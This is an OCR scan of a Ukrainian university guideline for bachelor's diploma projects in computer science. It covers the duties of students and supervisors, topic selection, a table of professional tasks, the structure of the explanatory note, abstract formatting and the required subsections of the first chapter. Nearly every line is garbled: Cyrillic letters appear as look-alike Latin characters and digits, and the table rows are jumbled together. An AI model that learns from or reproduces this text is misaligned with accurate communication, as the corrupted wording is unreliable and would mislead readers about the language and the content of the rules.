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1. 3arajbHi M0J0KEeHHSA

B sxocti kBamidikamiitnoi poboTu O6akanaBpa CTyACHTH BUKOHYIOTh JUTLIIOMHHI
MIPOEKT.

Kpamidikamiiina pobora wMoxke OyTh  KOMIUIEKCHOIO  (KadempanbHa,
MixKadeapanbHa, Mi>XKBY31BCbKa) 1 BAKOHYBAaTUCH JIEKIIBKOMA CTYICHTaMH.

KBamnigixkartriitna poOoTa BBaXXa€ThCsl peaabHOIO 32 BUKOHAHHIM OZHI€T 3 YMOB:

- TemMa poOOTH 3ampONOHOBaHA MIANPUEMCTBOM 1 BHKOHYETHCSI B MOTO

1HTepecax, a pe3yJIbTaTu POOOTH IPUIHATI JI0 peati3allii;

- 3a TeMOK poOOTH HasBHI IMyOJiKailii aBTOpa, IATEHT, PIIIEHHS PO

my0JTiKalliio, mogaHa 3asiBKa Ha BUHAXI/I;

- 70 po0OTH AOJAHO JOKYMEHTH (AKTH) IIPO BIIPOBAKEHHSI pE3YJIbTATIB.

KBamidikaiiitny po00OTy BHKOHYyE CTYJIEHT CaMOCTIHHO, TEPIOUYHO

KOHCYJIBTYIOUHUCH 3 11 KEPIBHUKOM 1 KEPIBHUKAMU PO3JILIIB.

CryneHT-BUKOHABEIb KBaTi(iKaliitHOT poOOTH TOBUHEH:

- 00paru ¥ y3roJIuTH 3 KEPIBHUKOM TEMY pOOOTH;

- OTpUMAaTH 3aBJIaHHA Ha KBadiQiKaliiiny poooTy;

- CaMOCTIHHO BUKOHYBAaTH KBadi(iKaliiiHy poOOTy CIMpPaIOUYHCh HA MaTepiaan
BUPOOHHMYO1 IPAKTUKH, METOANYHE Ta 1H(OopMaliiiHe 3a0e3NeUeHHS;

- CHCTEMATH4YHO BIJIBIIyBaTH KOHCYJbTallli K€pIBHUKA POOOTH 1 KEPIBHUKIB
PO3A1IIB;

- copuiiMaTd 3ayBa)K€HHS Ta ONEpPaTHMBHO BUKOHYBAaTH METOJUYHI BKa31BKU
KEpIBHHUKIB;

- IMOTWXHS 1H(QOpPMYBaTH KEpiBHUKA NP0 XI1J BUKOHAHHS 3aBJaHHS Ha
KBaTiQikaiiitHy poOoTy;

- mojatu KBamidikamiiiHy poOOTy Ha TMEpeBIpKYy KEpIBHUKAM pO3IiIIB,
OTPUMATH OIIHKY 32 BUKOHAHHS KOKHOTO PO3ILTY;

- TOJAaTH FOTOBHMM MaTepial Ha MepeBIpKY KEPIBHUKY POOOTH HE MI3HILIE HIX
32 YOTUPHU JH1 O 3aXUCTY;

- OTpUMAaTH 30BHILIHIO PELEH31I0 Ha KBaJi(iKallliHy poOoTy;

- MIArOTYBATH JOMOBIAb MPO OCHOBHI MOJOKEHHA KBaTi(iKaiiHO1 poOOoTH;

- copMynoBaTU BIANOBIAI Ha 3ayBa)X€HHS KepiBHUKA POOOTH, KEPIBHUKIB
O3B, PELICH3EHTA;

- BiANOBIAHO A0 Tpadika 3axucTUTH poboTy Ha 3acimanHi JEK,
JOTPUMYIOUHUCH PETJIAMEHTY;

- OTpUMATH JIOKYMEHT, 1110 3aCB1IUYy€ PiBEHb BUILOI OCBITU i KBaJi(iKaliio.

Kannunatypu kepiBHUKIB KBaTiiKaIiHHUX poOIT (BUKIIagadl yHIBEPCUTETY 200

JOCBi4eH] (haxiBIll MIAMPUEMCTB, YCTAHOB Ta OpTraHi3alliii) 3aTBEPIKYIOThCS
HAKa30M peKTopa.

KepiBauk kBamidikariitHoi poOOTH MOBUHEH:

- BUJATU aKTyaJlbHy TeMy KBamiQikaiiitHoi poOOoTH, sKa BIJIIOBIa€ BUMOTaM
OCBITHBO-KBaJlI(PIKAIIHHOT ~ XapaKTepUCTUKH  (axiBIs  HampsMy  MIJATOTOBKH,
CIIEIIAJIbHOCTI;

- BHUJATU 3aBJaHHsI Ha KBamidikaiiiHy poOOTy 13 3a3HAYEHHSM TEPMiHIB
BUKOHAHHSI PO3/ILJIIB Ta oAaHHs poboTu Ha po3risia JEK;
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- KepyBaTH BUKOHAaHHAM KBalli(ikariitHoi poOoTu;
- ckJactu rpadik KOHCYJIbTallii;
- KOHTPOJIIOBATH SIKICTh BUKOHAHHS pOOOTH;
- PpO3B’sA3yBaTH CHIpHI THUTAaHHS, M0 BHHUKAIOTH MIXK BHIIYCKHUKOM 1
KEepiBHUKAMHU PO3/ILIIiB;
- JIONOBiaTH Ha 3acifiaHdl Kadeapu TMpO BHUKOHAHHS JAUIUIOMHUKAMU
KaJICHJAPHOTO IJIaHy 3aBJaHHS;
- TIpU CYTTEBOMY BIIXWJICHHI Bl KaJE€HAAPHOTO TUIAHY MMOPYITYBATH MUTAHHS
PO MPU3YITUHEHHS TUTIJIOMYBaHHSI;
- TepeBipuTH KBai(iKamiitHy poOOTy 1 OLIHUTH ii;
- HamucaTH apTryMEHTOBaHMI BIATYK Ha KBaji(ikalliiiHy poOOTy i HampaBUTH
11 Ha pEeLIEH3yBaHH,
- TIOBEpPHYTH CTYAEHTY poOOTY HE Mi3HILIE HIX 3a JBa JIHI JI0 3aXUCTY;
- TMPOBECTH MIiJATOTOBKY CTYJEHTa J0 3aXUCTy KBaJi(iKkaiiiHoi poooTH;
- OyTH NPUCYTHIM MijJ Yac 3aXHCTy pOOOTH Ta OTrOJOCHTH CBi BIATYK Ha
3aciganHi JIEK.
KepiBHUKIB BHUKOHAHHS OKPEMHUX PO3AUIIB MPU3HAYAIOTH  3aBiayBayi
npodiIbHUX Kadeap 3a MOroKEHHSM 13 3aB1lyBayaMy BUITYCKOBHX Kadep.
HopmokoHTponib  kBamidikamitHuX poOIT 3A1ACHIOE 3aBigyBad BHITYCKOBOI
Kadeapu abo creniaibHO MPU3HAYCHUH METOMYHOIO0 KOMICIEI0 HAIIPSMY MiATOTOBKU
(cmemiabHOCTI) BUKIIAgAY.
BianoBianeHICTh 3a SIKICHY Ta BUaCHY MiATOTOBKY KBani(iKalliiHUX poOIT Hece
BUITYCKOBa Kadenpa, 1o 3000B’s3aHa CTBOPUTH 3100yBaveBl BIAMNOBIJAHI YMOBH,
HaJaTH METOJMYHE Ta 1HPOpMalliifiHe 3a0e3MeYeHHS.

2. TemaTuka kBajidgikaniiinux podiT 6akanaBpis

HoMeHknaTypa TeMaTUKH MOBHMHHA 3a0€3euyBaTH 1HIMBIIyaTi3alliio 3aBIaHHs
Ha KBamQikaiiiHy poOOTy Ta MOXKIIUBICTh BUIBHOTO BUOOPY TEMHU CTYJACHTOM.

Temaruka aTecTamiifHUX OakandaBpChKUX POOIT Ma€ IPYHTYBATHUCS IEPEBAXKHO
Ha KOHKpPETHMX Marepiajax 1 opieHTyBatuca Ha OCBITHbO-KBaMi(iKaliiHy
xapaktepuctuky (OKX) BiamoBigHOT0 HAMpsIMY MMiATOTOBKHM OaKataBpa.

CryzneHT Mae mpaBo 3apONOHYBATH HA PO3TJIs] BUIYCKar04uoi Kageapu BiIacHy
TeMy KBaJli(pikaliifHOi pOOOTH.

dopMyIOBaHHS TeMH KBali(ikaliiHOi poOOTH MOBUHHO OyTH KOHKPETHUM 1
MICTUTH MMO3HAYEHHS MPOUEAYPH HiSIIBHOCTI Ta NPOAYKT, 1110 Ma€ OyTH OTPUMAHUM B
pe3yJibTaTi BUKOHAHHS POOOTH.

Temu kBamidikamiinux poOIT OakanaBpiB 3aTBEPKYIOTHCS HAaKa3o0oM PEKTOpa.
Jlnst koMIiekCHUX KBai(ikalliHUX poOIT MPU3HAYAETHCS TOJOBHUM KEpIBHUK 1
KEpPIBHUKHU YaCTHH.

3. 3aBaaHHs Ha kBajdidikauiiiny poodorty

3aBnaHHs Ha KBamidikaliiHy poOOTy — y3arajbHEH1 IMpOOJEeMHI CHUTYaIlii, sKi
nojgani B OKX (Tabmung 1) y Buriasai QyHKINA, THOOBMX 3aBJaHb JisSUTBHOCTI Ta
yMiHb O0aKajaBpiB.



VY xoxi hopmyBaHHS 3aBIaHh HEOOX1THO BPaXOBYBATH TaKe:

— BUpOOHWY1 3aBJaHHSA OakajaBpa — JISUIBHICTH BIAMOBIJHO 10 3aaHOTO
AITOPUTMY, IO MICTUTh TPOIEAYPY YAaCTKOBOTO KOHCTPYIOBAHHS BiJIOBITHHUX
pIIIEHb;

— BUMYCKHI po0OTH OakajgaBpiB MOXYTh TIPYHTYBaTHCS Ha BHUKOHaHHI
BUITYCKHUKAMU KyPCOBHUX POOIT 1 IPOEKTIB 1 TOTYBATHUCS J0 3aXUCTY B 3aBEPIIAIbHUMN
NIePioj] TEOPETUIHOTO HABYAHHS.

3aBmaHHa Ha KBamidikaimiiiHy poOoTy OakanaBpa MOBMHHE OpIEHTYBATH Ha
BUPIIIEHHS 3a7a49 J1arHOCTUYHOTO KJIacy , 10 MOTPEOYIOTh HE TUTBKK BHOOPY, alie i
NEPETBOPEHHS B1JIOMUX METO/IIB PIIICHb I HOBUX (HECTaHIAPTHUX) YMOB.

Taomung 1
BupoOoHn4i ¢pyHkuii, TUNIOBI 3aBJaHHSA JislILHOCTI, YMiHHSI TA KOMIIeTEHil,
SIKUMH MOBMHHI BOJIOAITH 0aKkajJlaBpu HanpsaMy miarorosku 6.050101
«Komm’orepni Haykmn» ramaysi 3Hanb 0501 «IngopmaTuka Ta 004nCII0OBaIbHA
TexHika» 3rizHo OKX

Hasga Hasga tunosoi 3MICT yMIHHS
BUPOOHUYOT 3a1a4l
byHKIii JUSITIBHOCTI
1. JocmigHuubka | AHamis, Bubupatu Ta nepeTBoproBaTH MaTeMaTH4HI

TEOPETUYHE Ta MOJIEJ1 SIBUIII, IPOIIECIB 1 CUCTEM JIJIS 1X
eKCIIEpUMEHTaJb |€(PEKTUBHOI MPOrpaMHO-aNapaTHOI peaizalii
HE JIOCJIIJDKEHHS], | AHAIi3yBaTH, TCOPETUYHO Ta

po3poOKa Ta CKCTICPUMEHTAIILHO JOCIIIKYBAaTH METOH,
BUKOPHCTaHHS aJTOPUTMH, TIPOTPAMHM arlapaTHO-IPOTPAMHUX
MaT€MAaTUYHUX  |KOMILIEKCIB 1 CUCTEM

MoJenen cucreM | CTBOPIOBATH Ta JOCIHIIKYBATH MaTEMaTHUHI

1 poriecis, Ta MPOrpaMHi MoJeNi 06UUCITIOBAIBHUX i

MaTeMaTUYHUX  |1H(OpPMALIMHUX NIPOLECIB, IOB'I3aHUX 3

METO/IB (GyHKI[IOHYBaHHAM 00'€KTIB IPOdeciitHOT
IISUTBHOCTI

CucremHi Bubupatu ctparerii [uisl milaHyBaHHS

I[OCJ'Ii)I}KCHHH Ta |[)KUTTEBOI'O HUKITY CUCTCMMU.

CHCTEMHHH BusHauatu opraHizailiiiHy, eKOHOMI4HY,
aHai3 00'exTa TEeXHIYHY Ta OINepaliiHy 3/[IHCHCHHICTh
MPOCKTYBAHHA | poekTy

AHaJi3yBaTu opratizaiiiine OTOUYCHHS,
ICHYI0Y1 CUCTEMH, CHHTE3yBaTH BUMOTH J10
CHCTEMHU




[Tpomosx. Tabm.1

Ha3ssa Hasga tunosoi 3MICT yMIHHS
BUPOOHUYOT 3aja4l
byHKIil ISIIBHOCTI
2. IIpoexTyBanbHa | Po3pobka Buznauatu 1in npoeKkTyBaHHS, KpUTEpii
GbyHKIIIOHATBHUX |€()EKTUBHOCTI, OOMEXKEHHS 3aCTOCOBHOCTI
BUMOT JI0 iHdopmariinux cuctem (1C)
CHCTEMH, 1110 Po3pobisatu BuMoru Ta cienudikaii
POEKTYETHCA KOMIIOHEHTIB 1H()OPMALIIITHUX CHCTEM 1
00'exTiB MpoeciiiHOT AiSTBHOCTI
Cucremne [IpoekTyBaTH Ta MOJEIIOBATH O13HEC-TIPOLIECU
MPOCKTYBaHHS  |B CUCTEMI
[IpoekTyBaTH €IeMEHTH MaTEeMaTUYHOTO Ta
JHTBICTUYHOTO 3a0€3eUeHHS
OOYHUCITIOBAILHUX CUCTEM
[TpoektyBatu 1H(}OpMaliiitHe 3a0e3eueHHs
(JtoriuHy Ta Qi3uuHy CTpykTypH 0a3 nanux ) IC
[IpoexkTyBaTH apXiTEKTypH KOMIIOHEHTIB
MPOrpamMHOro 3a0e3MeueHHs
[IpoekTyBaTH JIFOAMHO-MAIIUHHUHN THTEpPEIc
1H(hOpMAaIITHUX CHCTEM
Po3pobmnsatu cniernugikariii KOMIT IOTEPHOTO
oOnagHaHHs, 3aC001B 3B 3Ky Ta
00CITyroByBaHHS
3. Texnonoriuna [Bukopucrtanus |PeanizoByBaTH NpOTOTUITH apXITEKTYpH
CTaHJIAPTHOTO MPOrpaMHOTO 3a0€3MeUeHHS
arapaTHOTO Ta
IPOTPaMHOTO
3a0e3ne4YeHHs
Po3pob6nenns PeanizoByBaTH Ta TeCTyBaTH KOMIIOHCHTH
IPOrpaMHOro MIPOTPAMHOT0 3a0e3MeUeHHS
3a0e3neYCHHS [HTETpYyBaTH KOMITOHEHTH B CUCTEMY
iHpopMalIHKUX |3 xiiicHIOBATH CTPYKTYpPHE Ta (PYHKIIOHAIBHE
CUCTEM TECTYBAHHSI CUCTEMU
Pospobenms P03p06neHH;'1“ MPOEKTHOI 1 po60YOoi
JIOKyMEHTAIIli 32 CHCTEMOIO
JIOKyMEHTAIT 1 : . —
Po3po0iieHHs TeXHIYHUX IHCTPYKITIH
[TinTpumka 3abe3nevyBaTH 3aXUCT MPOTPAMHOTO Ta
iHopMariitHoi  |iHpopmarlliiiHoro 3a0e3MeUYeHHS Bl
0e3reKku 00'€KTIB | HECAHKI[IOHOBAHUX 11
npod. AsUTBHOCTI




3akiny. Tao. 1

Ha3sga Hasga tunosoi 3MICT yMIHHS
BUPOOHHUYOT 3aayil
byHKITIT JISUTBHOCTI
4. TexniuHa BnpoBamkennss | Po3po0mnsitu mporpamu i METOAUKH

KOMIIOHEHTIB BUIIPOOYBaHb

iHpopMmaniiiHux |IIpoBoauTH BUITPOOYBAaHHS 00'€KTIB

CUCTEM B npodeciitHol TIsITBHOCTI

CKCILUTyaTallltd | TectypaTy Ta HANAroKyBaTH allapaTHo-
nporpamMHi 3aco0u i KOMIUIEKCH CUCTEM
aBTOMAaTH3allli 1 yIpaBIiHHS

Cynposiz [HCcTanmoBaTH, HAMAITOBYBATH 1

iH(opMaIiiHUX |00CIYyroByBaTH CUCTEMHE, IHCTPYMEHTAIbHE

CUCTEM Ta NpUKJIaJHe nporpaMmue 3ade3nedenss 1C

OO6cayroByBat cUCTEMHU 0a3 TaHUX

JIumioMHMI TPOEKT Mae€ Yy CBOEMY CKJIal

4. CraanoBi kBagipikauiiitHux pooir

MOSICHIOBAJIbHY ~ 3aIHCKYy 1

Ipe3eHTalliio (IeMOHCTpalliifHuI MaTepiai) Uit JomoBiai Ha 3acinanHi JJEK.
CtpykTypa MNOSCHIOBAJIBHOI
MOJIIAETHCA HAa BCTYITHY, OCHOBHY YaCTHUHU 1 JTOJIATKH.
BcTrynHa yacTuHa BKIIIOYAE:!
— TUTYJILHUHU apKyll;
— 3aBJlaHHA Ha KBadidikaIiiiny pooory;

— pedepar;

— TIepeNiK YMOBHHX MMO3HAYEHB;

— 3MICT;
— BCTYIIL.

OcHOBHa YacTHHA BKIIFOYAE!
PO3/IJT 1. Anaii3 crany pilieHHs1 poOjieMu (3a MarepiajaMH BITYU3HSHUX 1
3apyOiKHMX TMyOJTiKalliil) Ta MOCTaHOBKA 3aBIaHHSI.

PO3IJI 2. OOrpyHTyBaHHs,

npoOiaemu.

3amucKy  KBamidikamiitHoi poOOTH  YMOBHO

BUOIp Ta peaimizailis METOAIB BHUPIIICHHS

PO3/11JI 3. EkoHOMIYHUIT PO3i.

Takox 10 OCHOBHOT YaCTHHH HAJIEKATh.

— BUCHOBKH 111010 OTPUMAaHUX y POOOTI pe3yJIbTaTiB;
— CIIUCOK BUKOPHUCTAHUX JKEPET.

JonaTku BKIIIOYAIOTh HEOOX1AHY KIJTBKICTh YACTHH:

B )i ¢4 1o ) S
Honarok . TekcT BUXIJTHOTO KOAY MpOrpamu.

Honatox . Biaryk kepiBuuka kpamidikaiiifHoi poOoTH.

JlonaTok . Penensis.



Jonatok __ . Biaryk KipBHHKa €eKOHOMIYHOTO PO3/LTY.

Honatox ___. Ilepenik daiiiniB Ha TUCKY.

[Ipe3eHTarmiss  OUIUIOMHOTO  MPOEKTY  TIOBHHHA  OYTH  €IIEKTPOHHOIO
(BimeoMarepiaiiv, MyJbTUME/1a TOIO) Ta MOXKE BKJIIOUATH €JIeMEHTH rpadigHoro (Ha
narnepi, (osigx Tomo) abo HaTypHOro (MOJei, MakKeTH, 3pa3Kd BHPOOIB 1 MO/I.)
JIEMOHTpAIIfHOTO MaTepiany.

5. OnHUC CTPYKTYPHHUX €J1eMEHTIB MOSICHIOBAJIbHOI 3aNIMCKHU

TutrynabHMil apKym BUKOHYeThCS 3a popmoro JlogaTky A.

3aBIaHHA HA IUIIOMHUI NPOEKT BUKOHYEThCA 3a popMmoro [Jonatky b.

Pedepar mnogaeThcs Ha OKpEMHUX CTOPIHKAX — YKPAiHCHKOIO Ta AHIJIHCHKOIO
MoBaMu. Pedepar mae Oytu ctuciauM, iHGOPMATUBHUM 3 CYTTEBHUMH BIAOMOCTSIMH
po KBadiQikaiiiiHy poOOTy Ta HOBUHEH MICTUTH:

— BIIOMOCTI TIpO  OOCAT TMOSCHIOBAJILHOI 3amuCcKu  (3arajbHa  KiJIBKICTh
CTOPIHOK), KUIBKICTh UTIOCTpalliid, TaOJIUIlb, AOJATKIB, KUIBKICTh JHKEpeN 3TAHO 3
HepeTiKoM MOCHUJIaHb (B1AOMOCTI HABOAATh, BKIIIOUAIOYH JIaH1 J0JaTKIB);

— TeKCT pedepary;

— MEepesiK KIIYOBUX CIIB.

[TocnigoBHICTH BUKIIAICHHS pedeparTy:

— 00’€eKT AocaiaKkeHHs a00 po3poOKy;

— MeTa KBaiikaiiiHoi podoTu;

— METOJH JOCTIIPKCHHsI Ta araparypa;

— OCHOBHI  KOHCTPYKTHUBHI, TEXHOJOTIYHI ¥  TEXHIKO-€KCILUTyaTaIlliHi
XapaKTEPUCTUKHU Ta TTOKA3HUKHU;

— MpaKkTUYHEE 3HAYEHHS pOOOTH Ta BUCHOBKU;

— MPOTHO3HI MPUITYIICHHS PO PO3BUTOK 00’ €KTY JOCTIIKEHHS 200 pO3pOOKH.

CTpyKTypHI YaCTUHU pedepary, B IKUX BIJICYTHI BIJOMOCTI, BUITYCKAIOTh.

O6csar pedepaty — no 500 cmiB. Pedepar moBuHEH yminlyBaTucs Ha OAHIN
cTopiii ¢opmary A4, MDKPSIKOBHIA iHTepBal — ofauHapHuil (1nT), BUPIBHIOBAHHS
TekcTy — «llo mwupuHI», BIACTYN MHEpLIOTO psAlka ad3aimy — | cM, iHTepBal Mk
ab3anamu — 0 nr. BukxopucroByetscss mpudt Times New Roman texcTroBoro
penaktopa Word po3mipom (kersem) 14 mr.

KitouoBi ciioBa, 1m0 € BU3HAYAIBHUMH IS PO3KPUTTS CyTi KBamidikamiitHoi
poOOTH, HABOIATH TICIS TEKCTy pedepaTy BEIUKUMHU JITEpaMU B HA3UBHOMY
BIIMIHKY B PSAJIOK 4Yepe3 KOMH, TEepeiK iX MOBUHEH MICTHTH Bix 5 mo 15 crui
(CJIOBOCTIONYYEHB ).

[Tpuknan ctpykTypu Ta 3MicTy pedepaTy HaBeaeHo B Jlomatky B.

3MiCT MOYMHAETHCA 3 HOBOI CTOPIHKH. 3MICT MOAAETHCA HA HACTYITHOMY MICTs
nBOX pedepaTiB apKylli, BiH MOBHHEH BKJIIOYATH Takl MYyHKTH 13 3a3HAUYCHHSIM
CTOPIHOK ITUX MarepiaiB:

— pedepaT yKpaiHCHKOIO;

— pedepaT aHTIIIICHKOIO;

— TepesiK yMOBHHUX IMO3HAYEHb,
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— BCTYT,

— HallMeHyBaHHS BCIiX PO3JIUIIB, TIAPO3ALTIB, MyHKTIB (MIAMYHKTIB, SKIIO BOHH
MAalOTh 3ar0JIOBKM) OCHOBHOI YaCTUHU POOOTH;

— BHCHOBKW;

— CIHCOK BUKOPUCTaHUX JKEPET;

— HaliMEHYBaHHS JI0JaTKIB.

3pazok oopmieHHs 3MicTy HaBeneHo B Jlomatky I

Ilepesiik yMOBHMX MO3HAYeHb MMOJAETHCS MICIS 3MICTY 3 HOBOTO apkyiry. Bin
MOBHUHEH MICTUTH TIOSACHEHHS BCIX pPIJKO 3aCTOCOBYBAaHUX y pOOOTI YMOBHHUX
M03Ha4Y€Hb, CAMBOJIIB, CKOPOUYEHb 1 TEPMIHIB.

3pazok oopMIIeHHS TIEpeiKy YMOBHUX MO3HA4YCHb HaBeaeHo B Jlomatky /I.

Beryn po3MInTyroTh 3 HOBOT CTOPIHKH. Y BCTYII BUKJIAIAt0Th:

— 3B’S30K TpOOJieMH, 110 BUPIMIYETHCS, 3 00 €KTOM MISJIBHOCTI (axiBLs
HaIpsMy, CIIELIAIbHOCTI;

— MeTy KBamidikaiiiHoi poOOTH Ta raly3b 3aCTOCYBaHHS;

— OOIpYHTYBaHHS aKTyaJlbHOCTI TEMHU;

~ KOHKPETHU3aIlil0 TOCTAHOBKH 3aBJIaHHS KBaJi(iKaliiHOi poOOTH.

OpieHTOBHMI 00CST BCTyIy — 1,5-2 CTOpPIHKH.

[Tpuknan opopmienns Bctymy HaBeneHo B Jlomatky XK.

OCHOBHa YacTHHA MOSICHIOBAJIBHOI 3alMCKU CKJIAJA€THCS 3 TPhOX CKIIAJIOBHX,
MOAUISIOUN MaTepial Ha BIAMOBIIHI PO3ILIH.

CyTb pO3/UIIB MOSICHIOBAIBHO1 3aMUCKU — BUKJIAJIAHHS BIJOMOCTEN MPO 00’ €KT
po3po0sIeHHs a00 TOCHIIKEHHS, SIKI HEOOXI1JIHI Ta JOCTaTHI AJsi PO3KPUTTS CYTHOCTI
ui€i kBajiikaniiHoi poOOTH Ta ii pe3ysbTariB, SfKI MO CKIATHOCTI BIAMOBIIAIOTH
BUMOTaM JI0 KOMIIETEHI[1/ OakanaBpa.

OcoOnuBa yBara NPHUIUIAETHCS HOBU3HI PpPE3yJbTATIB BIJHOCHO aHAJIOTIB,
MUTAHHSIM  CYMICHOCTI, B3a€MO3aMIHHOCTI, HAJIAHOCTI, O€3MeKHu, EeKOJIOTii,
pecypco30epeKeHHS.

OcHOBHA YacTMHA HE TOBMHHA MICTHTH JyOJIFOBaHHS, OMKMCOBOTO MaTepiaiy,
CTEPEOTHUITHUX PIIIEHb, SIK1 HE BIUIMBAIOTh HA CYTh KBai(iKaIliiHOT poOOTH.

1. Tepmmwmit posmin Mae HasBy «AHAJII3 TIPEJJMETHOI TAJIY3I TA
ITOCTAHOBKA 3AB/IAHHSI» Ta BK;Itoyae Taki Iiapo3Iiiu.

1. 1. 3aranbHi BIIOMOCTI 3 TPEAMETHOI ramy3i.

1.2. Tlpu3HaueHHs pO3pOOKU Ta TaTy3b 3aCTOCYBaHHS.

1.3. IlixcraBu st po3poOKH.

1.4. TlocTtaHoBKa 3aBIaHHS.

1.5. Bumoru j0 nporpamu abo mporpaMmHOro BUpoOy.

HasiBHICTB BCIX MIAPO3AUIIB Ta MyHKTIB NEPIIOTO PO3ALTY € 000B’SI3KOBOIO Ta HE

MOX€E 3MIHIOBATHCS.

1.1. V migpo3aini «3arajibHi BIIOMOCTI 3 MPEIMETHOT Taly31» pO3TiIsiIaeThCs
Cy4acHHM cTaH mpoOieMu (aHasli3 aHAJIOTIB, CTYIIHb PO3B’S3aHHS 3aBJaHb,
TEXHIUHI MPOTUPIYYs, TPOTAIMHU 3HAHb B LiW ramys3i, HE3A1MCHEHI BUMOTH 10
BUPOOIB 4l PO3pOOOK HAYKOBOTO, OpraHizaliifHOTO a0o0 IHIIOrO XapakTepy),
BKa3yeTbCs Ha3Ba, XapaKTEPUCTHKA Taly3l 3acTOCYBaHHS MporpamMu abdo
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IpOrpaMHOro BHUpPOOY Ta 00'€ekTa, B SIKOMY BHUKOPHCTOBYIOTH Mporpamy a0o
MIpOTpaMHMM BUPIO.

1.2. Iligpo3ain  «IIpu3HauyeHHs pO3pOOKM Ta Taly3b 3aCTOCYBaHHS»
MOYMHAETHCS TOBHOIO HA3BOIO pO3p00JIeHOT chucTeMu abo MporpaMu, BBOJUTHCS
OCHOBHA TEPMIHOJIOTISI, 110 MICTHTh KIIFOUOBI CJIOBA, NMPUYMHU BUHUKHEHHS
HEOOX1THOCT1 PO3pOOKH MPOrPaMHOIO 3a0€3MEUCHHS, a TaKOX Taly3i, B SIKHUX
MO>K€ 3aCTOCOBYBATUCS CUCTEMA, IO PO3POOITIOETHCA.

1.3. YV minposaini «IlizcraBu A po3poOKi» MOBUHHI OyTH BKa3aHi:

— JIOKyMEHT (IOKYMEHTH), Ha IMICTaB1 SIKUX BEJCTHCS PO3POOKa;

— opraizamis, IO 3aTBepauia 1€ JOKYMEHT, 1 Jara Horo
3aTBEPIXKEHHS;

— HaliMeHyBaHHs 1 (a00) yMOBHE TTO3HAYEHHS TEMU PO3POOKH.

1.4, Ilinpo3ain  «IlocTraHoBKa 3aBHaHHS» NPU3HAYCHUH IS OIHKCY
XapaKTEpPUCTHK 3aBJIaHHS Ta YMOB, HEOOXIIHMX ISl MOro BHpilIeHHsA. BiH
MMOBMHEH OXOTUTIOBATH BCl 3aBJaHHS CHCTEMH. 3MICT ITOCTAHOBKH 3aBIaHHS
Mae BKIIFOYATH 1HPOPMALIO 32 TAKUMH ITyHKTAMHU:

- MeTa, NIPU3HAYEHHs, TEXHIKO-€KOHOMIYHY (OpraHizaliifHO-TEXHIUHY)

CYTHICTb 3aBJIaHsl Ta OOTPYHTYBaHHS JOLIBHOCTI HOTO PIILICHHS;

~ mepenik 00'eKTIB (TEXHOJOTTYHUX O0'€KTIB yIpaBIiHHS, MIPO3ILIIB,

HiAMPUEMCTB TOIO), Y XOMAlI YIPaBJIIHHSA SKAMH BHKOPHUCTOBYIOTh

pO3pO0IICHY CHCTEMY,

—- OmHC CTPYKTYypH OO'€KTIB 1HGOPMAIIMHOI CHCTEMH 1 TMepeltiK

MOKA3HUKIB, [0 XapaKTEPU3YIOTh ii CTaH;

— OIKC NMPU3HAYEHHS BUX1THOT iHGOpMAIIiT;

- BUMOTH JIO Oprasizaiii 300py Ta mepemadi B OOpoOKy BXigHOI
1H(popMmarlii, 10 TOPAJIKY ii KOHTPOJIIO 1 KOPUTYBAHHS;

- YMOBH, TpH SKHUX TPHUINHAHIETHCS  PO3B'SI3aHHA  3aBIAHHS
aBTOMAaTH30BaHUM CITOCOOOM;

~ 3B'SI3K JIaHOT CUCTEMHU 3 IHIITUMU 33]Ia4aMHu;

- posnoaul GYHKINA MK MEPCOHAIOM 1 TEXHIYHUMHU 3aco0aMu TpU

PI3HUX CUTYyaIlisIX BUPIIICHHS 3aB/IaHb CUCTEMH.

3aJie’)kHO BiJ MPU3HAYEHHS 1 creuu(iuHuX O0COOJIMBOCTENH CTBOPIOBAHOTO
MPOTPAMHOTO TPOAYKTY TOMYCKAETHCS BKIIOYATH B €M MIAPO3IUT JOJATKOBI
BiJIOMOCTI1, BAMOTH JI0 3MICTY SIKUX HE BCTAHOBJICHI IIMM CTaHJIaPTOM.

1. 5. [Mizpo3ain «Bumoru g0 nmporpamu abo mporpaMHOTO BUPOOY» TOBUHEH
MICTUTH TaKl MyHKTU:

1.5.1. Bumoru 10 QpyHKITIOHATHHUX XapaKTEPUCTHK.

1.5.2. Bumoru 10 iHpopMaIIiitHOi Oe3meKu.

1.5.3. Bumoru 110 ckiaay Ta mapaMmeTpiB TEXHIYHUX 3aCO0IB.

1.5.4. Bumoru 110 iHpOpMAaIIiiHOT Ta TPOrpaMHOi CyMICHOCTI.
Bci Bumoru, siki BUCYBarOThCA JI0 IMYHKTIB IOTO MiJPO3/1TYy, MOBHUHHI

OOIPYHTOBYBATHUCH.

1.5.1. V nyskri «Bumorn 10 QyHKIIOHAIBHUX XapaKTEPUCTHUK
MOBUHHI OyTHM BKa3aHI BHUMOTH [I0 CKJIaJy BHUKOHYBaHUX (DYHKIIIH,
opraHizaiii BX|JJHUX Ta BHUXIJHUX JaHUX, YACOBUM XapaKTECPUCTUKaM
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Tomo. He 000B'13k0BO BKa3yBaTH MOBHUM CKJIAJ 1 CTPYKTYp AaHUX. MoBa

Wae mnpo 3arajbHI MUTaHHSA oOpraHizailii, 300py MaHUX, iX TOJaHHS.

Hampuknaa, naHi MOBUHHI BBOJAMTHUCS IILISIXOM CKaHIBaHHS TEKCTOBUX

JIOKYMEHTIB; JlaHI TOBHUHHI BBOJMTHUCS KOPHUCTYBa4eM B J1aJJOTOBOMY

pexkumi. Skmo MoBa Hae mpo 3aTBepmkeHi (HOpMH  (JOKYMEHTH)

MPE/ICTABIICHHS IaHUX, TO BOHU TTOBUHHI JI0JIABATHUCS.

1.5.2. V nyskrti «Bumoru 10 iHpopmariiiinoi 0e3neku» MOBUHHI OyTH
BKa3aHI BHUMOTM JI0 3a0e3le4yeHHs  HaAIiHOTO cbyHKuiOHyBaHH;I
(3abesreueHHss CTajaoro cbyHKuloHyBaHH;I KOHTPOJIb BXIJHOT 1 BUIXIJHOI
1HcpopMau11 Jac  BIJHOBJICHHS  MICJS ~ BIAMOBHM,  3aXHCT  BiJ
HECaHKI[IOHOBAHOTO JOCTYIY, 3aXHCT Bij KomitoBanHs [I3 Tomro.) Ta
3a0€3IeUeHHs] KOHTPOJIIO Ta IUTICHOCTI JaHUX CUCTEMH.

1.53. ¥V nyskti «Bumorm no ckimagy Ta mapaMeTpiB TEXHIYHHX
3ac00iB» BKa3ylOTh HEOOXITHUW CKJIAJ TEXHIYHUX 3aco0iB, IS SKUX
pospoomoeThess  I13, 13  3a3HaueHHSIM 1X OCHOBHUX  TEXHIYHUX
XapaKTEPUCTHUK Ta MapaMeTpiB.

